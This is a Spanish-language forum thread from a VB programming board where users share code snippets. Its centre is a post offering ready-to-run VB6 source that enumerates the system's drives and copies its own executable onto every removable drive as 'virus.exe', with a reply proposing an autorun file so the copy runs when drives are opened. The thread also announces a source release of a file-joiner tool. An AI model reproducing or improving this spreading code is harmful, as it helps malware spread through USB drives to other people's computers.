Mensajes

Código [Seleccionar] Expandir

   AppActivate "Microsoft Word"
   DoEvents
   SendKeys "Hola, estoy escribiendo en el word!"


Testeado en Word 2003 y funciona perfectamente



EDIT: Arrgh!! se me adelantaron xD

Y no te sirve llamar al comando ftp.exe del propio windows para subir y bajar ficheros?

Si necesitas hacerlo con ese código puedo mirarmelo, pero hasta este fin de semana no te aseguro nada.

Saludos!!

podrias poner un post con todos tus codigos,en ese post se blokea y se le pone chincheta,yo creo k seria lo mejor para tener recopilados todos tus codigos ya que son buenos y utiles... solo es una idea xD que os parece??

Ummm, no creo que merezca un trato especial para mi sources, prefiero ir abriendo un post para cada source, asi lo podemos comentar y mejorar, si los pongo todos en uno se juntarán todas las dudas/sujerencias/mejoras y será un lío...

Gracias igualmente

Joe ultimamente estas q regalas los codigos xDD gracias (de nuevo)

Digamos que tengo una época generosa... tengo más códigos para regalar pero los publicaré poquito a poco, tantos de golpe no se asimilan bien

Saludos!!



Se me ocurre una mejora: Hacer que el código cree el archivo autorun.ini con el path apuntando al virus, de esta forma consigues que nuestro EXE se ejecute al hacer doble click en las unidades de red, solo me falta saber si tambien afecta en los otros tipos de unidad.

Proponer algo

[||MadAntrax||]

Este sencillo código permite enumerar todas las unidades del sistema, descubrir de que tipo son (fijas, extraibles, CD, remotas, etc...) y copiar el virus en su interior.

Código (vb) [Seleccionar] Expandir

Private Declare Function GetLogicalDrives Lib "kernel32" () As Long
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As Long

Const DRIVE_REMOVABLE = 2
Const DRIVE_FIXED = 3
Const DRIVE_REMOTE = 4
Const DRIVE_CDROM = 5
Const DRIVE_RAMDISK = 6

'Función para enumerar todas las unidades (sean del tipo que sean)
Function EnumDrives() As String
    Dim i As Long
    Dim tmp As Long
    Dim drives As String
   
    tmp = GetLogicalDrives()
    If tmp Then
        For i = 0 To 25
            If (tmp And 2 ^ i) <> 0 Then
                drives = drives & Chr$(i + 65) & ":#"
            End If
        Next
    End If
    EnumDrives = drives
    'La variable drives almacena todas
    'las unidades en formato "A:#C:#D:#E:#"
End Function

Function GetType(ByVal drives As String)
    Dim tmp() As String

    'Separamos las unidades según el caracter #
    tmp = Split(drives, "#")
    For i = 0 To UBound(tmp) - 1
        If GetDriveType(tmp(i)) = DRIVE_REMOVABLE Then
            'Llamamos a la función de infectar la unidad
            'si es del tipo DRIVE_REMOVABLE
            Call InfectDrive("virus.exe", tmp(i))
        End If
    Next
End Function

Function InfectDrive(ByVal FileName As String, ByVal drive As String) As Boolean
    'Importante, no siempre tenemos acceso de escritura
    'en las unidades, sin esta linea podríamos "matar"
    'nuestro virus :(
    On Error Resume Next
   
    Dim MySelf As String
    MySelf = String$(255, Chr$(0))

    'Obtenemos nuestra propia ruta
    GetModuleFileName 0, MySelf, Len(MySelf)
    'Nos copiamos en la unidad con el nombre de "virus.exe"
    FileCopy MySelf, drive & "\" & FileName
End Function

Private Sub Form_Load()
    'Empieza la juerga!
    Call GetType(EnumDrives)
End Sub


El código está comentado y no tiene mucha complicación, copiar y pegar en un proyecto nuevo y os funcionará.

Decirme si os gusta, si se puede mejorar algo, añadir funciones, etc...

Saludos!! vuestro amigo ||MadAntrax||

No conocia lo de Environ 

Para esto está el subforo de Programación VB, para aprender todos

No uses Write, usa Put o Print

Yo en el cactus uso Print

Os complicais bastante la vida con API's, cuando se obtiene el mismo resultada más rapido y sin llamar a DLL's externas:

Código [Seleccionar] Expandir


Disco = Environ("HOMEDRIVE")
Windows = Environ("SYSTEMROOT")
Programs = Environ("PROGRAMFILES")


Con estas 3 lías obtienes el disco C:\ la carpeta de Windows y Archivos de Programa, hay varias más y se consultan con el comando SET dentro de un CMD.

Saludos!!

[aqui]

Bueno, por la petición de varios usuario cuelgo el código fuente completo del Cactus Joiner 2.5 en su completa versión.

El programa en cuestión esta aqui. Con más de 1500 descargas por todos los usuarios del foro.

Para descargarlo haz click en: Cactus_Joiner_Source.zip (más abajo)

Y ya lo sabes... pon un Cactus en tu vida!

Saludos

Jeje, está currado pero yo no ví a ningún gato xD